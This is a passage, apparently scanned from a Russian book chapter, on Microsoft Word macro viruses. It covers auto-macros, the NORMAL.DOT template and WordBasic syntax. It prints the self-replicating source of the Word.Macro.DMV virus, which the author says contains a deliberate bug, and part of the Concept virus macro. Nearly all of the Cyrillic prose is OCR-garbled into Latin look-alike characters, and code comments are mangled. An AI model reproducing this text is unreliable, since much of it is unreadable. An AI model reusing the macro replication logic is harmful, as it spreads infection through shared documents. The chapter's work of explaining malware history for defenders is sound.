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KOMIIAKTHBII 1 MOIIHBII TEKCTOBBII IIPOLECCOP, IIPEKPACHO PaOOTAIOLIMIA
BO BCeX pazHOBUAHOCTsIX Windows, coBpeMeHHBIM MOHCTPOBU/THBIM BEpP-
CHSIM.

Ho ucropust He crosiia Ha Mecte. OuepesiHyio «peBoJionuio» Microsoft
yerpousia B 1997 rony, koraa B coctase Microsoft Office 97 6bLia BbinyIe-
Ha B cet Bepeust Word 97 (nosryuunBinast BHyTpudupMeHHOE HAMMEHOBA-
nue Word 8). Bo-11epBbIX, IpeTeplIe CyuiecTBeHHbIe H3MeHeHnsa (popMar
aiinios, comepskamux AoKyMeHTbl. OH OCTalCsd CTPYKTYPHUPOBAHHBIM
XPAHWJIUIIEM, HO €0 BHYTPEHHsIsI OPTaHU3aIs CUJIbHO YCJIOKHUIACD.
Bo-BTopbix, Mecto WordBasic 3aHsi1 06beKTHO-OPUEHTUPOBAHHBII SA3bIK
VBA — Visual Basic for Application, o61unii i1t BceX OCHOBHBIX KOMIIO-
nenros Microsoft Office (MS Word, MS Excel, MS Power Point u MS
Access). IIporpammuctbr Microsoft obecrednnim HEKOTOPYIO IIEPEHOCH-
MOCTH IIPOrpaMM, HalcaHHbIX Ha si3bike WordBasic, B cpeny VBA, Ho
BHUPYCOIIUCATENISIM BCE PABHO IPUIILJIOCH HAYUHATH BCE 3aHOBO, U3Yy4YaTh
HOBBII SI3bIK U MMCATh HOBbIE BUPYCHL. M HAMCAHO UX GBIIO HECKOJIBKO
JIECATKOB ThicAY!

Coberento ropopst, anoxa Word 97 npozposkaercs 110 cero anst. Bee
nocrenyiomue Bepcun — Word 2000 (on sxe Word 9), Word XP or 2002
roga (ou sxe Word 10), Word 2003 (on :xe Word 11) — nmoaaepkuBaior
a3bik VBA u dpopmar daiiios, paspaboranubiii aiast Word 97!, A aTo o3Ha-
Yaer, 4YTO Bce MaKPOBUPYCHI, Hanucantbie mocsae 1997 r., Brosme paboTo-
CTIOCOGHBI ¥ TIOHBIHE.

Bupouewm, cienyer ynomsinythb, uro MS Word nozep:kuBaer He efuH-
cTBeHHbII (hopMaT [oKyMenToB. Hanpumep, Bce BEpCHE 9TOTO TEKCTOBOTO
POIECCOPa CIIOCOOHBI CYNTBIBATH U COXPAHATD JIAHHbBIE B TPOCTOM U XOPO-
o gokymentupoBarroM opmare RTF (Rich Text Format), kotopbiii He
MOKET COJIEPKATH MAKPOCHI U, CJIE/IOBATEILHO, HE CIIOCOOEH CITYKUTD Pa3-
HOCUMKOM «3apasbly». Kpome Toro, ¢ Bepcun 2007 1. HAaUMHAET TOTUXOHBKY
BHEAPSAThCs ele Oosee HOBBII (opMar xpaHenus 1okyMenTos — DOCX,
KOTOPBIiT IpecTaBiisier coboii yiakoBanHblii MerogoMm ZIP nabop XML-
CTPaHUIL, ¥ IOTOMY <«BUpycobe3ornacet». Bpouem, U y HEro ecth pasHo-
BuiHOCTH « DOCM>», noji/1epskrBalolias BKJIIOYeHe MAaKPOCOB.

Kcraru, Bepcuss MS Word, ucriosibzoBanHast IJisi CO3aHUsT KOHKPET-
HOTO JIOKyMEHTa, MOJKeT ObITh orpejeseHa npu pasrisabiBanuu DOC-
(aiina «na nmpocseTs:

! Bepcun MS Word 2007 u 2011 toxe moryr paGorars ¢ DOC-daiinamu u
BBITIOJIHATh MX MaKpPOChl, HO MO YMOJYAHWIO MCIOJIb3YIOT <HOBBII» (hopmar
DOCX.



Bupycel 8 MS Word < 313

00 73 65 52-1E 00 00 00-07 00 00 00-4E 6F 72 6D .seR-....... Norm
61 6C 00 F3-1E 00 00 00-05 00 00 00-55 73 65 52 al.y-....... UseR
00 6C 00 F3-1E 00 00 00-02 00 00 00-34 00 65 52 .l.y-....... 4.eR
1E 00 00 00-14 00 00 00-4D 69 63 72-6F 73 6F 66 -....... Microsof

74 20 57 6F-72 64 20 31-30 2E 30 00-40 00 00 00 t Word 10.0.@...

Taxm 06pa3oM, JOCTATOYHO PACCMOTPETD [IBE OCHOBHBIE PA3HOBH/IHO-
CTH MaKPOBUPYCOB:

QO supycsl aust Word 6.0/7.0;

O sBupycsl aus Word 97.

5.1.1. OOwme cBepeHus 0 Makpocax

SIsbikn WordBasic 1 VBA 1mo3BoJIioT co3aBaTh MaKpOChl (CleHApHH),
KOTODBIE, 110 U/Iee, JOJKHBI N30aBJISATh [T0Jb30BATEIS OT TIOBTOPEHUS PY-
THUHHBIX omepanuii mpu obpaborke Tekcra. Harmpumep, 3aadya moucka u
[OIYEPKUBAHUST BCEX CJIOB TEKCTA, HAMCAHHDBIX JATUHCKUMU OYKBaMHU,
MOJKeET ObITh O(OpPMIIEHA B BUJIE MATIEHBKOW MTPOrPAMMKU U aCCOIIUUPO-
BaHa ¢ KaKOW-HUOY/Ib KJIaBHATYPHON KoMOmHatmedt (¢ ueM-Hubyab Bpo-
ne Alt+Shift+Esc win Ctrl+«0»). 3arpysus MHOrOMerabaiiToBbIi TEKCT
B okHO MS Word u HaxkaB yKazaHHYI0 KJIABHATYPHYIO KOMOWHAIHUIO,
TI0JTb30BATENh CPA3y K€ MOKET OTIPABIATHCS ITUTh Yail — MAaKPOKOMAaH/IA
caMa BBITIOJTHUT HEOOXOAMMBIE ACHCTBUSI.

Taksxke MS Word 1o3Bosisger accolmupoBaTh MaKPOKOMaH/Iy He ¢ KJia-
BUATYPHON KOMOWHAIIUEH, a ¢ KAKMM-HUOYb TTYHKTOM MEHIO WJIH KHOTI-
KO, pa3MellieHHOH Ha MaHeJ I WHCTPYMeHTOB. /lokyMeHTHpOoBaHHOH 0CO-
Gerntoctsio MS Word siBAsteTCsT BOSMOKHOCTD CO3AHMS TTOTH30BATETEM
CBOUX COOCTBEHHBIX JIOMOJHUTENLHBIX KHOMOK U IIYHKTOB MeH0. Ho oka-
3BIBAETCSI, YTO M MHOTUE «CTAHAAPTHBIE» MYHKTHI U KHOIIKH TaKXKe MOTYT
OBITH TTEPEOTIPEIENIEHBI TAKMM 00Pa30M, 4TO OY/IYT BBITTIOIHSTH KaKHe-HI-
6y /Ib, N3HAYATBHO HE TIPEIYCMOTPEHHbIC ICHCTBSL.

Kpowme toro, 8 MS Word umerorcs Tak HazbiBaeMble «aBTOMAaTHUECKHUE
MaKpOChl» — TO €CTh MAKPOChI, aBTOMATUYECKU BbITIOIHSIONINECST TIPU
OTIpe/IeJICHHBIX yca0BUaX. K HIM oTHOCATCS:

«AutoOpeny, 3aIycKaIOMUICS MTPU OTKPBITHN IOKYMEHTa,;
«AutoNew», 3arycKaromuiics mpu co3/IlaHuK HOBOTO JIOKYMEHTa,
«AutoExec», sanyckaromuiicsa B Hauase pabotst MS Word,
«AutoExit» sanyckaroruiics nmpu sapepuiennn pa6orsl MS Word;
«AutoClose», 3amycKaoIriics IPU 3aKPBITHH JOKYMEHTA.

[To ymosganuio 3T MakpoOChl <IIyCTBI» U HE COZIEPKAT HUKAKOTO MPO-
rpaMMHOTO Kozia. OHM KaK pa3 v TpeiHa3HAYeHBbI IS TOTO, YTOObI TOJIB30-
BaTeJb CaM MEPEOTTPEIEITIIT UX 1 COTTOCTABUI UM KaKoe-HUOY /b MOJIE3HOE
JIeIICTBHE.

(ONONONON®)



314 < MBakpoB/pyChl

Bce mMakpocsl xpanarca B mabsaonax (template) — To ecTb B 1OKyMeH-
TaxX, BHYTPU KOTOPBIX MPEIyCMOTPEHO MECTO [JIsi TIPOTPAMMHOTO KO7a
CIICHAPUEB, JIJId CACJAHHBIX [T0JIb30BaTE/IeM HACTPOEK, I/ CTUJICH U T. II.
ITo ymosuanuio MS Word cunraer mabionamu (aiiyibl ¢ paciumpeHneM
«.DOT», a 06b14HBIME JIOKyMeHTaMU — (aiiyibl ¢ paciperreM <. DOCs»,
HO pas/IMdaeT X 10 BHyTpeHHeMmy dhopmary (B 4acTHOCTH, MIabaoHbl MS
Word 6.0/7.0 umetot crieruanbHblii hraxkok B 3arosioBke). Kpome Makpo-
COB U HACTPOEK, MAOJIOH MOXKET CO/EPKATh TEKCT, PUCYHKH, TAOIUIIBI U
T. I, TAKUM 00Pa3oM, PSAOBOIL TT0JIb30BATENb OOBIYHO MTPOCTO HE UMEET
BO3MOKHOCTH Pa3JIMYUTh JIBE 3TH PA3HOBUIHOCTU JOKYMEHTOB <«HEBO-
OpY>KEHHBIM TJIa30M>.

ITo ymomuanuio B8 MS Word npucyrcTByer 1o KpaiiHeil Mepe OJuH
«ryaBHblil» mabaon — «NORMAL.DOT», u ero makpocst (eciu oHu B
HEM eCTb) 3arPysKaloTCsl U CTAHOBSATCS TOTOBBIMU K paboTe aBTroMaTnye-
CKHU IIpH cTapTe TekcToBoro mpoueccopa. abmon «<NORMAL.DOT»
«beccmepTeHy — ecain ero (Al yIaiuTh, TO TOCIe OUEPETHOTO 3ayCcKa
MS Word on 6yzner Boccosgan BHoBb. Kpome Toro, B MS Word aBromaru-
YECKU 3arPYIKAETCS COAEPKUMOE MIabJIOHOB, PACHIOJIOKEHHBIX B IO/IKATA-
sore «STARTUP», — onu, kak IpaBuJio, BIIOJIHE JIETAJIBHO MTOSBJISTIOTCS
TaM BMecTe ¢ oucHBIME IpuiioxkennssMu Tuiia FineReader (pacriosnasa-
Tesib oTckanuposantoro Tekcra), PROMT /Stylus (1iepeBogurik TeKCTOB
C OJTHOTO $I3bIKa HA JIPYTOI ) ¥ IPOYMMHU.

Bce ocroBHble onepaiinu ¢ Makpocamu (co3zianue, KOIMpoBaHnue, yia-
JeHue u T. 1.) noJb3oBareib MS Word MokeT ocyiiecTBUTh BPYyUHYIO
rpu momotnu komronenTta «Opranuzatopy («Organizers ), KOTOPBIH 710-
crynen yepes noamenio «Maiin = [Mlabionsr...», «CepBuc = Makpoc...»
nin «@opmat = CTHITb...».

HWtax, BOT cr1oco0bl, O3BOJISIONINE 3arpy3uTh Makpochl B MS Word u
MOJITOTOBUTD UX K UCTIOJTHEHUIO:

O pasmectuts ux B mabaone «<NORMAL.DOT»;

Q  pa3MecTuTh UX B OJIHOM 13 MAGJOHOB, PACIIONOKEHHBIX B KATAJIOTE

«STARTUP»;
QO pasMecTUTh UX B JOKYMEHTE, KOTOPbII OTKPBIBAETCS CPEACTBAMU
MS Word.

JList TOro 4TO6BI 3arPyKEHHBIN U3 abJ0Ha MAKPOC MOy YK yIIpaBJie-
HU€ ¥ HA4aJl BBITOJHATHCS, JOCTATOUYHO BBITIOJHUTD OJIHO U3 CJIEIYIONTNX
JIENCTBUU:

QO samyctuTh Makpoc (BO3MOKHO, CJIY4allHO), HA’KaB aCOIIMUPOBAH-

HYIO ¢ HUM KHOIIKY, IIYHKT MEHIO WJIA KJIABUATYPHYI0 KOMOUHA-
LHIO;
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O zamycTuTh MaKpOC IPEAHAMEPEHHO, TI0JIb3YsICh BO3MOKHOCTSIMU
«Opranuszaropa;

O 1puCBOUTH MAKPOCY OJIHO U3 <«aBTOMATUYECKUX» UMeH (Iiepe-
YeHb — CM. BBIIIIE);

O zamycTuTh MAaKPOC U3 [[PYTOrO, BIOJHSIONIErOCS B JAHHbBIH MO-
MEHT MaKpOCa, I0Jb3ysICh BO3MOXKHOCTSIMU SI3bIKa CIIeHAPUEB
WordBasic niu VBA.

Maxposupycol — 3T0 IPOTrpPaMMBbl, HAIIMCAHHbIE HA SI3bIKE CLIEHAPUEB,

CIIOCOOHbBIE CAMOCTOATENLHO KOMMPOBATh ceOsi U3 OHOTO JOKYMEHTa
(571€KTPOHHON TaOIUIBL, IPE3EHTALIH 1 T. I1.) B IPYTOM.

5.1.2. Bupycbl Ha a3bike WordBasic

Hosyio makpokxomanmy Ha ssbike WordBasic MoKHO co3gaTh Tak: IOC/Ie
sarmycka MS Word 6.0/7.0 B merio «Cepsucy («Tools») BeiOpaTh myHKT
«Maxkpoc...» («Macro»). [losBurca dhopma BBosa. B none «Mmsay nano
HaOpaTh WMsI MakpOKOMaH/bl, B rojie «OnucaHne» MOKHO MOMECTUTh
CIIPABOYHBINT KOMMEHTApWil. 3areM cJielyeT HaxkaTh Ha KHONKY «Co3-
IaTh», U MOSIBUTCS OKHO PEJAKTUPOBAHUS MaKPOCOB, B KOTOPOM MOKHO
HaGuparh ucXoaHbIN TekeT Ha s3bike WordBasic. CoxpaHeHHBII Makpoc
Oyner sanucan BHYTpb mabaona «<NORMAL.DOT>».

Crapplii MaKpoC MOKHO MPOCMOTPETh WU OTPEIAKTHPOBATh, €CIIU
B mojiMeH0 «Makpoc...» BBIOPATh M3 CIUCKA UMSI JKETAEMOTO MaKpOca U
Ha’kaTh Ha KHOMIKY «IIpaBkas. Kcrarn, B 9TOT MOMEHT Bac MOKET MOCTUYb
Heymava, ecau Makpoc samudposan. Torma xmomka «IIpaBka» Oymer
npocto HepoctymHa. Hampumep, nsnavanbHo 3amudposata 6ubInoTexa
roJie3ubix MakpocoB «MSWORD.DOT».

B npunnuine, B 3aronoske gokymenta MS Word 6.0/7.0 ects dua-
JKOK, KOTOPBIH yKasbiBaeT — 1mabjioH aTo win HeT. Ho pasHble Bepcuu
MS Word pearupyior Ha HEro 1mo-pa3HOMY: OJIHU He 00paIlaloT BHUMA-
HUS Ha MAKPOCHI, XpaHsiuecs: B «HemabaoHax» (Bepcus 6.0); apyrum
3TOT (DJIAKOK abCOMIOTHO «110 OapabaHy», OHU 3aTPy3siT U BBITOJHSAT
Makpochl B Jo6oM caydae (Bepeus 7.0). Ho eciu duraskox ycraHOBIIeH,
to MS Word He gact peJakTUpoBaTh TEKCTOBYIO 4acTh MIabJIOHA-I0-
KyMEHTa, BepHee PEIaKTUPOBATh JIACT, a COXpPaHsATh — HeT. [TogobHoe
CTPaHHOE TIOBEe/IEHNE PEaKTUPYEMOTO TOKYMEHTA JOJKHO TaTh TTOBOJ
3aM0/[03PUTH €r0 «IabJIOHOBOCTh> |, CJIE[I0BATEIbHO, BO3MOKHOE Ha-
Judrie B HEM MaKPOCOB.

Yro ke coboii mpencrasisieT a3bik WordBasic?

Iro puajekT ssbika Basic [22], koTopblii He TpedyeT HyMepainuu CTPOK
U MTO3BOJISIET «CKJIEMBATh» OTACIbHBIE CTPOKH, OOBEMHSISI UX TP TIOMO-
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1 IBOETOYNS «:». BO3MOKHO U «pa3pe3aTb» IJIMHHBIE CTPOKHU HA YACTH,
UCTIONB3YsT OOPATHBII cJidti «\». KOMMEHTapUu B 3TOM SI3bIKE IIPe/IBapsi-
10T MO0 KITIOUEBBIM CT0BOM «REM>», 60 mrpuxom «'».

ITepemennsie B a3pike WordBasic ObIBaIOT ABYX THIIOB: BELIECTBEHHbIE
U CUMBOJIbHBIE (KOTOPbIE MOTYT COJEpKaTh KaK OTHEJbHbIE CUMBOJIbI,
TaK U 1esble cTpoku). IIpu onucanum nMeHa CHMBOJIBHBIX TIePEMEHHbBIX
JOJLKHBI 3aBepuiatbes 3HakoM ‘$’. B WordBasic MOKHO OImuChIBATH He
TOJIBKO OT/I€JIbHBIE TIEPEMEHHbIE, HO M MACCUBBI — JIJIS1 9TOTO MCIIOIb3YeT-
¢4 ko4deBoe cinoBo «DIM».

Haz BertecTBennbiMu unciiamu B sisbike WordBasic pasperensr kiac-
cudeckre apudmernyeckue u JOTHYeCKUe orepalni: u3MeHeHre 3HaKa,
cnoxenue (+), Beruutanve (-), ymHoxkenue (*), BelecTBeHHOE JleJieHue
(/), ocratok ot sesienust (MOD). /Iyist cMuMBOJIbHBIX IepEMEHHBIX 3HAK '+
O3HAYaeT KOHKATEHAITUIO CTPOK.

VYipasJsione KoHcTpyKiun si3bika Word Basic ouerb 1oxosku Ha aHa-
JIOTH, TIpPUMEHSIEMbIE B IPYTUX BLICOKOYPOBHEBBIX S3bIKAX TIPOTPAMMUPO-
BaHMS.

Bot kak odopmiigercd pa3BuiiKa BHITIOJHEHUS.

If <ycnosue> Then
Flse
End I
Ecan AJIBTEPHATUB MHOTO, TO MOKHO BOCIIOJIb30BAaTbCs cneayﬁnueﬁ
KOHCTPYKIIMEi MHOKECTBEHHOIO BBIOOPA.

Select Case <ympaBnspuwas nepemeHHas>
Case <3HayeHne>

Case <3HayeHne>
Else
End Select

[Tprmep oopmiieHNs ITUKIIA € YCIOBUEM BBITIOTHEHHS.

While <ycnosne>
Wend
A BoOT IIpUMEDP IHUKJIA CO CHETYUKOM.

For <nepemeHHas> = <na4ano> To <koHeu> Step <war>

Next
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[Tpu oMot oreparopa «Goto» BO3MOXKHO OPraHU30BaTh GE3yCJI0B-
HBII Tlepexo/l Ha yKa3aHHYyIo MeTKy. Ele ojHa 1ojie3Hasi KOHCTPYKIIUS
«ON>» 1103BOJISIET MAKPOCHOH TIPOTPaMMe PearupoBaTh HA BHEIITHIE COOBI-
THUSI: HA BOSHUKHOBEHME OMUOOK B IIPOrPaMMe; Ha HACTYILIEHUE KAKOTO-
TO MOMEHTa BpeMeHH U T. 1. [Ipumepbr:

O «ON Error Goto METKA» — 1ipu Bo3HUKHOBeHMH OMIMOKN (Ha-
npuMep, pu feseHun Ha () MM TOIBITKE OTKPBITh HECYIIECTBYIO-
it haiisr) meperuTy Ha YKa3aHHYIO METKY;

O <«ON Error Resume Next» — He pearupoBarh Ha OIUOKU U IPO-
JI0JIKATh BBITIOJTHEHUE;

O «ON Time 17:00 PlayYankeeDoodle» — B 5 uacos Beuepa sarmyc-
tuth (13 «<NORMAL.DOT») makpoc, urpaiomuit Mmenouio STHKu
Hynne denan.

3HaunTeNbHAS YACTh CJIOKHBIX ONEpPaIlnii JOCTYIIHA B BUJIe KOMaH/ 1
(byHKITMI — OHUM UMEIOT TAKOH JKe CMBICJI, KaK 1 B [PYTUX SI3bIKAX IIPOTPaM-
mupoBanud. CyiecTByIOT cranjiaptublie (Mpeonpe/ieeHnbie) QyHKIUH,
B TO K€ BPeMsI 110JIb30BaTeIb MOJKET C03/1aBaTh CBOM. [Ipumepsl crangapr-
HbIX (DYHKITUIA

O «Len (<cTpoka>)» — Bo3Bpallaer JUINHY CTPOKH;

O «CountMacros (<mabmon> [, <all>] [, <global>])» — Bosspama-
eT KOJIMYecTBO MakpocoB B ykasannoM mabsiore (0 — NORMAL.
DOT, 1 — Texymuii ToOKyMeHT) ;

QO <«MacroName$(<nomep>, <mabion>, [, <all>] [, <global>])» —
BO3BPAIIAeT UMSI MAKPOCA, PACIIOJIOKEHHOTO B YKa3aHHOM I11abJ10-
e (0 — NORMAL.DOT, 1 — rekyuuii JOKyMeHT) MO/l YKa3aHHbIM
HOMEPOM.

Ho 60JIbIIMHCTBO CIOKHBIX OIEepPAlUil PeaJu30BaHbl B BUIE KECTKO
BCTPOEHHBIX B CUHTAKCHUC st3biKa KoMaH. COOCTBEHHO TOBOPSI, HAJIMYUE
GOJIBIIOrO KOJMYECTBA KOMAH/I, OPUEHTHPOBAHHBIX HA Ty WJIU UHYIO [TPO-
rpaMMHO-AINAPaTHYIO0 MIaTGOPMY WIM Ha KOHKPETHYIO TPOOIEMHYIO
06J1acTh, — XapaKTepHast 0cOOEHHOCTD JII0OOTO AuaiekTa sa3bika Basic, ne-
JIAIOIAS 3T IMAJTIEKTHI He TOJbKO HECOBMECTUMBIMU, HO U BHEIITHE HETIO-
XOKUMHM APYT Ha gpyra. IIpumepsr komang ssbika WordBasic:

O «Insert <crpoka>» — BCTaBJIsIET YKA3aHHYIO CTPOKY B Ty TOUYKY JI0-

KyMEHTA, I'/le HAXOAUTCI KypCop;

O «DisableAutoMacros <¢ar>» — pasperuaer UK 3alpeliaeT Bbl-
MOJIHEHNE ABTOMAaTHYECKUX MAKPOCOB B 3aBUCUMOCTH OT 3HAYEHUS
nara (0 wnm 1);

O «FileSaveAs Name=<umsa> [, Format=<dopmar>|> — coxpans-
eT TEeKYIIU TOKYyMeHT B (hailsl ¢ yKkazaHHBIM UMEHEM B YKa3aHHOM
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dopmate (0 — oObrunblil qokyment, 1 — mabion, 2 — rekcr, 3 —
TEKCT ¢ KOHIIAMU CTPOK, 4 — TekeT DOS, 5 — teker DOS ¢ koHIamMn
cTpoK, 6 — nokyment B (hopmate RTF).

HexkoTopbie KOMaH/IbI UMEIOT «GJU3HEN0B» CPEIH CTAHAAPTHBIX (DYHK-
1ui, Haripumep KoMmaHa «MsgBox <cTpoka>» nesaet TO ke camoe, 4To 1
dbyuxnusa «MsgBox (<ctpoka>)».

Ouenb BakHa I/ TOHUMAHUS YCTPOHCTBA BUPYCOB KoMaHa Macro-
Copy. Omumem ee moapobuo: «MacroCopy <[Illabmonl:] Makpol$>,
<[ITaba0u2:] Makpo2$> [,<IIpusuaxllludposarus>]>».

Ira KOMaH/a BBIIOJIHSET KolpoBaHue Makpoca <Maxpol$> us oj-
Horo ma6JI0Ha B APYroii, mpucsanbasa eMy umMsa <Makpo2$>. VimenHo na
paboTe aTON KOMaH/Ibl OCHOBAHO CBOWCTBO CAMOPA3MHOKEHUSI MAKPOBH-
pycoB B MS Word 6.0/7.0. Eciiu napamerp <IIpusnakIlIudposanms>
[IPUCYTCTBYET U OH HEHYJIEBOH, TO CKOIMPOBAHHBII MAaKPOC He Oy et moc-
Jie KOITMPOBAHMS JIOCTYTIEH JIJIS PEIaKTUPOBAHUS.

Camblii nepsbiii B ucropun makposupyc Word.Macro.DMV 6bui Ha-
mucan HekuM J[xoenom MaxHawmapoii B gexkabpe 1994 r. u ony6ankoBan
B BH/I€ UCXOIHOTO TeKCTa U3 72 cTPOK, 40 U3 KOTOPBIX TIPEJCTABJISIIN CO-
6oit KoMMeHTapuH, a eme 7 — KoManasl MsgBox, oTobpaskaromniie Tpaccy
BBITIOJIHEHMS PA3IMYHBIX Yactell Bupyca. Ilo ciioBam camoro aBropa:

...The purpose of this code is to reveal a significant security risk in
software that supports macro languages with auto-loading capa-
bilities. Current virus detection tools are currently not capable of
detecting this type of virus, and most users are blissfully unaware
that threats can come from documents. (...HasHa4YeHue 3TOro Ko-
3@ — BbISIBUTb BaXHYIO Yrp0o3y 3aLUnTe rnporpamMm, rnoaaepXuBaroLLmx
Makposi3blkv C BO3MOXHOCTbIO aBTo3arpy3kn. CoBpeMeHHble cpea-
cTBa OOHapy>XXeHusl B HACTOSILLEE BPEMSs] HE CrOCOOHbI 4ETEKTUPO-
BaTb 3TOT TUIM BUPYCOB, a 6OJIbLUMHCTBO M0J1b30BATE/IEN COBEPLLEH-
HO He roao3peBatoT 06 yrpo3ax, KOTOPbIe MOryT MPUHECTH C cOBOM
JOKYMEHTHI).

Bor uwactb ucxoguoro tekcra supyca Word.Macro.DMYV (aBropckue
KOMMEHTapuu, cTpoku ¢ MsgBox 1 (hparMenTsl, He BasKHBIE /7151 TOHUMA-
HUA AJITOPUTMA, YIAJICHDI).

REM joelm@eskimo.com, December 17, 1994

REM = m oo
Sub MAIN

total = CountMacros(0) "KonnyecTBo makpocos B NORMAL.DOT
present = 0
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If total > 0 Then "Ecnu makpocel 8 NORMAL.DOT ecTb, TO..

For cycle = 1 To total '...B UMKNE WUCKATb CPemn Hux. .

If MacroName$(cycle, 0) = "AutoClose” Then ... makpoc ¢ umerem AutoClose
present = 1

End If

End If

a$ = WindowName$() + ":AutoClose” "ChopmupoBaTb uMs paboTanwero mMakpoca
If present <> 1 Then "Ecnn makpocoB B NORMAL.DOT HeT, ToO..
MacroCopy a$, "Global:AutoClose” "...3apa3nTb NORMAL.DOT

Else

present = 0

If CountMacros(1) <> 0 Then

present = 1

End If

If present = 0 Then "Ecnu MakpocoB B [LOKYMEHTE HeT, TO..
FileSaveAs .Format = 1 " .. .COXPaHNTb NOKYMEHT Kak WabnoH w. .
MacroCopy “Global:AutoClose”, a$ '...3apasuTb ero MakpocoM, B3ATHM K3. .
o "...NORMAL.DOT

End If

End If

End Sub

Heobxoanmo fath HEKOTOPbIE MOSCHEHUST K 9TOMY TEKCTY.

Bupyc cocrout us eauncrsentoro Makpoca «AutoClose», aBTomarn-
YeCKH CTApPTYIOIIETO B MOMEHT COXPAHEHUsST TEKYNIEro PeAaKTUPYEMOro
noxymenTa. [Ipu momonu crangaptaoii pynkiun «CountMacros» Bupyc
ompezessieT KoundectBo Makpoco B mabmone «NORMAL.DOT» u B
TekymieM nokymente. Ecam makpoc ¢ umenem «AutoClose» orcyrerBy-
€T B TeKyIIeM JoKyMeHTe, To oH Konupyetcs Tyaa n3 «<NORMAL.DOT».
N naob6opor, ecau makpoc orcyTctByer B «<NORMAL.DOT», 10 0H KO-
MUPYeTCst U3 TEKYIero qokyMenTa. [ToHoe nMst Makpoca, HeoOX0MMoe
st obHapyKeHust U kotmpoBaust, uMeeT Bu «<I1labmom>:AutoCloses.
[Ta6mor «<NORMAL.DOT» B amepukanckoii sepcun MS Word 6.0/7.0
Bcerzia nmeet npezornpezgesennoe nMsa «GLOBAL». ms Texymiero moxy-
MEHTa BUPYC OTIPEEISIET, «CBOPOBAaB» IIPU TIOMOIIN CTAHAAPTHOH (PYHK-
i «WindowName$» 3arosmosok okna. [Tociie oOKOHYAHMS 3apakeHst
HEe0OXO/IMMO BCE-TaKy He 3a0bITh COXPAHUTD TEKYIIUH JOKYMEHT, U BUPYC
JIeTaeT 9TO, YCTAHOBUB 320/THO JUJIST HETO (DIAKOK «IMabIOHOBOCTHY TTPU
HOMOIIM cTaHgapTHOI KoMaH bl «FileSaveAs .Format=1».
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VHTepecHo, 4TO TEKCT, IPUBEJAEHHBIN BbIlle, CKOpee BCero, He Oyaer
ornosnat aHTuBupycamu kak Word.Macro.DMYV. [leJio B TOM, 4TO BHYTPU
JOKYMEHTa XPAHUTCS UMEHHO 3aKOJMPOBAHHBIN «MCXOJIHUK» — CO BCEMU
MPUCYIITMMK MY IIYCTBIMU CTPOKAMH, «JIECEHKAMU», KOMMEHTAPUAMU 1
T. . A B IpuBeIecHHOM (pparMeHTe OHU ynasieHbl. VI aHTUBUPYCHI, Jieli-
CTBYIOIIHE 10 CUTHATYPHOMY IIPUHIIMILY, HE CYMEIOT ITPABUJIBHO OITO3HATH
Jlaske COBCEM YyTh-YyTb «IOANOPYEHHBbII» BUpYyC. Tak 4uTo hakTryeckn
[IPUBEIEHHBIM BBIIIE TEKCT IPUHAJIEKUT COBEPIICHHO HOBOMY BUPYCY,
KOTOPBIHM MPUILIOCh HEBOJIBHO CO3/IATh B IIPOIleCCe HATMCAHUS KHUTH...
BIIPOYEM, UMEHHO TI09TOMY B HEM CIIEIIMAJIBHO JOMYIeHa O/HA MeJKas
ommnbKa, Je1aoIas ero HepadoToCIoCOOHbBIM. XOTUTE — UCIPABJIIATE, HO
ABTOPOM BHPYCa B 9TOM Cjiydae OyeTe CUUTATHCS UMEHHO BB

Jlo cux nop Bupyc Word.Macro.DMYV ne ciminkom ussected. OH Hu-
KOrjia He ObLI B «[IMKOI IPUPOe» U He BbI3bIBaJ anugeMuil. Ja u xak
MOJKET PACHPOCTPAHATBHCA OT KOMIIBIOTEPA K KOMIIBIOTEPY <«3apasa», B
nporiecce paboThl KOTOPOil TOJIb30BATENO TPEOYETCS CeMb pas Mpodu-
Tarh coobmenus Tuna «Makposupyc yxe noMenien B NORMAL.DOT»
U CeMb pPa3 «KJIUKHYTh» MBIIIKO# 110 KHOTIKe «OK»?

Bripouem, crienuasicTbi-To 0JKHBI OBLIM OTPEArupoBaTh Ha MOSABJIE-
HUe HOBOTO BU/Ia BUPYCHOI yrpo3sl. Ho oHM aTOTO0 He cenanu, u 171 HUX
cTajla HaCTOSIIUM IIOKOM TyiobajibHast anuaeMus Makposupyca Word.
Macro.Concept (o e Prank, on ske Bloodhound), paspasusiiasics Jie-
Tom 1995 roza.

B HEKOTOPBIX UCTOPUUECKUX 0030paxX STOT BUPYC HA3BIBAIOT «IIEPBBIM
B MCTOPUU MaKpoBUpYycoM». Koneuno ke ato He tak. Ho «<ucropuueckmnx
3aciyr» y Word.Macro.Concept 1 6e3 TOro XBataet: OH BbI3BaJI TIEPBYIO
B MUPE MaKPOBUPYCHYIO SIIUIEMUIO, U 9Ta IMUAeMUsT ObLa CaMOi KpyTi-
Hoii. a u BooO1ue, ucropuio 60pbOBI ¢ MAKPOBUPYCAMU CTOUT HAUUHATH
JIEMCTBUTEJIBHO C HETO.

Bo mmuorom Word.Macro.Concept npexacrasisi coboil pasBuTHe
uzeit, obnapogosanibix 8 Word.Macro.DMYV. On cocrosiyi U3 Makpo-
coB «<AAAZAO», «<AAAZFS», «Payload» u uerBeproro — <«apromaru-
YeCKOro» — MaKpoca, KOTOPBIH B IOKyMeHTax Ha3biBasicad «AutoOpens
(u asusca kommein «<AAAZAO»), a B mabiaone «<NORMAL.DOT» —
«FileSaveAs» (u siBaistiicst konmeil <AAAZFS»).

Takum 06pasoM, ecJM BUPYC CTAPTOBAJ M3 3apaskeHHOTO haiiia, To
cpasy ke aktTuBupoBasics u 3apakai «NORMAL.DOT». Ecim ke on 3a-
IPYsKaJICS B BUPTYaJbHYIO MAIIMHY U3 3aPAKEHHOTO paHee riobagbHOro
mabaora «<NORMAL.DOT», To akTUBHOCTb IIPOSIBJISLI TOJIBKO BO BPEMS
COXpaHeHUs JIOKYMEHTOB, KOUPYS B HUX CBOU MaKPOCDIL.
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[okymeHT NORMAL.DOT

[Payioas|&— Payioad

Puc. 5.1 < Cxema cOOTBETCTBUS MaKpOCOB
B IOKyMeHTe 1 wabnoHe Bupyca Concept

Bor dparmenT makpoca «AAAZAO>.

iMacroCount = CountMacros(0, 0) " KonuyecTso makpocos B NORMAL.DOT
For i = 1 To iMacroCount " lUnkn no Bcem makpocam
If MacroName$(i, 0, 0) = "PaylLoad” Then " Ecnn npucytcTeyeT ‘Payload’, TO..
bInstalled = - 1 " ... NORMAL.DOT yxe 3apaxeH
End If
If MacroName$(i, 0, 0) = "FileSaveAs” Then ' Ecnu npucytcTeyeT 'FileSaveAS', To...
